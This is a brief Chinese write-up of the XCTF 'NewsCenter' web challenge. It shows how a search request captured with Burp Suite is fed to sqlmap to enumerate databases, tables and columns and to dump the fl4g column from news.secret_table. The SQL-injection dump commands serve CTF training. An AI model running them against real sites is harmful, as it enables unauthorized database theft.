攻防世界web NewsCenter writeup
进入在线场景
首先有报错信息，可以了解到可能要使用sql注入相关知识，因为涉及到数据库。
根据题目描述刷新页面进入：
有搜索框和从数据库里调出来的内容。
尝试使用工具sqlmap
在搜索框进行输入并用burpsuite进行抓包
把抓包得到的http头存至桌面随意命名为3.txt
接着用终端打开桌面开始输入sqlmap命令
先查看其所有的数据库
1.sqlmap -r 3.txt -dbs
看到有两个数据库，第一个是MySQL自带数据库，所以第二个库里可能会有想要的信息
2.sqlmap -r 3.txt --tables -D news
发现该库中有两个表其中一个叫做secret_table
查看其中所有字段
3.sqlmap -r 3.txt --columns -D news -T secret_table列出fl4g的所有字段信息
4.sqlmap -r 3.txt --dump -D news -T secret_table -C fl4g
拿到flag
（手工注入待写。）